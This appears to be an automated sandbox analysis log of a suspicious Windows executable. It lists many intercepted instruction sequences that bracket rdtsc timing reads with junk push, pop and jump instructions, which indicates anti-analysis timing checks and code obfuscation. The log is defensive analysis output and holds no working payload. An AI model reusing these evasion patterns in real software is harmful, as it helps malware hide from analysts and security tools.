Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20C0C second address: 4D20C24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE804FE5CD4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20C24 second address: 4D20C28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20CCC second address: 4D20CD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20CD2 second address: 4D20CD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20D10 second address: 4D20D32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804FE5CD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movsx ebx, si 0x00000011 mov si, 842Bh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20D32 second address: 4D20D53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804B276D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FE8751DB304h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20D53 second address: 4D20D66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804FE5CCFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D30BC3 second address: 4D30BEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 5C7FF882h 0x00000008 movsx ebx, ax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f jmp 00007FE804B276D2h 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov ah, dh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D30BEB second address: 4D30C36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE804FE5CCBh 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007FE804FE5CD9h 0x0000000f add esi, 67607866h 0x00000015 jmp 00007FE804FE5CD1h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e xchg eax, ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D30C36 second address: 4D30C49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804B276CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D30C49 second address: 4D30C9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804FE5CD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov cl, 1Fh 0x0000000e push eax 0x0000000f push edx 0x00000010 pushfd 0x00000011 jmp 00007FE804FE5CCFh 0x00000016 sub ch, FFFFFFAEh 0x00000019 jmp 00007FE804FE5CD9h 0x0000001e popfd 0x0000001f rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D30C9A second address: 4D30CD9 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE804B276D0h 0x00000008 or si, EF28h 0x0000000d jmp 00007FE804B276CBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 xchg eax, esi 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FE804B276D5h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D30CD9 second address: 4D30DD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804FE5CD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov edi, 6EF87382h 0x00000010 pushfd 0x00000011 jmp 00007FE804FE5CD3h 0x00000016 jmp 00007FE804FE5CD3h 0x0000001b popfd 0x0000001c popad 0x0000001d xchg eax, esi 0x0000001e jmp 00007FE804FE5CD6h 0x00000023 mov esi, dword ptr [ebp+0Ch] 0x00000026 jmp 00007FE804FE5CD0h 0x0000002b test esi, esi 0x0000002d jmp 00007FE804FE5CD0h 0x00000032 je 00007FE875693323h 0x00000038 jmp 00007FE804FE5CD0h 0x0000003d cmp dword ptr [7544459Ch], 05h 0x00000044 pushad 0x00000045 mov edi, esi 0x00000047 pushfd 0x00000048 jmp 00007FE804FE5CCAh 0x0000004d adc esi, 68F70638h 0x00000053 jmp 00007FE804FE5CCBh 0x00000058 popfd 0x00000059 popad 0x0000005a je 00007FE8756AB3C5h 0x00000060 jmp 00007FE804FE5CD6h 0x00000065 xchg eax, esi 0x00000066 pushad 0x00000067 mov ax, 7B2Dh 0x0000006b mov dx, cx 0x0000006e popad 0x0000006f push eax 0x00000070 push eax 0x00000071 push edx 0x00000072 jmp 00007FE804FE5CD2h 0x00000077 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D30DD3 second address: 4D30DD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D30E45 second address: 4D30E67 instructions: 0x00000000 rdtsc 0x00000002 mov di, 6FC4h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE804FE5CD6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D30ED0 second address: 4D30ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D30ED4 second address: 4D30EDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D6EDD4 second address: 5D6EDDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D6EDDA second address: 5D6EDFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804FE5CCBh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jmp 00007FE804FE5CCEh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D6DEE4 second address: 5D6DF21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804B276CFh 0x00000007 jmp 00007FE804B276CFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE804B276D7h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D6DF21 second address: 5D6DF25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D5A3AE second address: 5D5A3B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D6E05D second address: 5D6E061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D6E061 second address: 5D6E077 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FE804B276CEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D6E077 second address: 5D6E07C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D6E343 second address: 5D6E34D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE804B276C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D6E34D second address: 5D6E358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D6E358 second address: 5D6E37B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE804B276C6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE804B276D3h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D6E37B second address: 5D6E38A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804FE5CCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D6E38A second address: 5D6E38F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D6E4E4 second address: 5D6E4F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE804FE5CCEh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D6E4F8 second address: 5D6E510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE804B276D0h 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D725D0 second address: 5D725D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D7265C second address: 5D72665 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D727AE second address: 5D727C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FE804FE5CC6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D727C2 second address: 5D72850 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE804B276C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007FE804B276C8h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 add si, F825h 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ecx 0x00000030 call 00007FE804B276C8h 0x00000035 pop ecx 0x00000036 mov dword ptr [esp+04h], ecx 0x0000003a add dword ptr [esp+04h], 00000015h 0x00000042 inc ecx 0x00000043 push ecx 0x00000044 ret 0x00000045 pop ecx 0x00000046 ret 0x00000047 mov dword ptr [ebp+122D2C38h], ebx 0x0000004d call 00007FE804B276C9h 0x00000052 push edx 0x00000053 pushad 0x00000054 push edx 0x00000055 pop edx 0x00000056 jl 00007FE804B276C6h 0x0000005c popad 0x0000005d pop edx 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 jnc 00007FE804B276DBh 0x00000067 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D72850 second address: 5D72857 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D72908 second address: 5D72911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D72911 second address: 5D72915 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D93E1A second address: 5D93E55 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE804B276E3h 0x00000008 jmp 00007FE804B276D1h 0x0000000d jmp 00007FE804B276CCh 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007FE804B276D1h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D91F45 second address: 5D91F57 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE804FE5CC8h 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007FE804FE5CC6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D9266B second address: 5D9267D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jp 00007FE804B276C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D9267D second address: 5D92681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D927FC second address: 5D92802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D92802 second address: 5D92806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D92806 second address: 5D9281F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804B276D5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D9281F second address: 5D9283E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007FE804FE5CC6h 0x0000000e jmp 00007FE804FE5CD1h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D9283E second address: 5D9284D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007FE804B276C6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D9284D second address: 5D92859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FE804FE5CC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D92C73 second address: 5D92C87 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE804B276C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007FE804B276C6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D92C87 second address: 5D92C8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D92C8B second address: 5D92C97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE804B276C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D5F3D4 second address: 5D5F3DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D5F3DA second address: 5D5F3E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE804B276C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D5F3E5 second address: 5D5F40A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jg 00007FE804FE5CC6h 0x00000009 pop edx 0x0000000a push ebx 0x0000000b jo 00007FE804FE5CC6h 0x00000011 pop ebx 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FE804FE5CCDh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D5F40A second address: 5D5F431 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804B276D9h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007FE804B276C8h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D5F431 second address: 5D5F438 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D5F438 second address: 5D5F43E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D92FB4 second address: 5D92FB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D92FB8 second address: 5D92FBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D92FBE second address: 5D92FC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D92FC4 second address: 5D92FCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D92FCA second address: 5D92FCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D936E3 second address: 5D93724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jnc 00007FE804B276D4h 0x0000000d jmp 00007FE804B276D7h 0x00000012 jng 00007FE804B276CCh 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D93897 second address: 5D9389B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D9389B second address: 5D938A1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D938A1 second address: 5D938A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D938A7 second address: 5D938BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FE804B276CEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D93A19 second address: 5D93A1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D93A1F second address: 5D93A24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D93C88 second address: 5D93CA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE804FE5CD4h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D9715F second address: 5D97170 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804B276CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D97170 second address: 5D97176 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D97176 second address: 5D9717A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D972BA second address: 5D9731C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE804FE5CC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push ebx 0x0000000d js 00007FE804FE5CD8h 0x00000013 jmp 00007FE804FE5CD2h 0x00000018 pop ebx 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d pushad 0x0000001e push edi 0x0000001f pushad 0x00000020 popad 0x00000021 pop edi 0x00000022 jmp 00007FE804FE5CD7h 0x00000027 popad 0x00000028 mov eax, dword ptr [eax] 0x0000002a jmp 00007FE804FE5CD0h 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 push esi 0x00000037 pop esi 0x00000038 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D974FB second address: 5D974FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D99D15 second address: 5D99D23 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE804FE5CC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D99D23 second address: 5D99D27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D9C3CB second address: 5D9C3CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D9C3CF second address: 5D9C3D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D64517 second address: 5D64536 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804FE5CD0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007FE804FE5CD0h 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5DA138F second address: 5DA13BE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push esi 0x00000009 jmp 00007FE804B276D1h 0x0000000e pushad 0x0000000f popad 0x00000010 pop esi 0x00000011 push edx 0x00000012 jmp 00007FE804B276CAh 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 pop edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5DA13BE second address: 5DA13C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5DA0C7E second address: 5DA0C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE804B276D9h 0x0000000d rdtsc
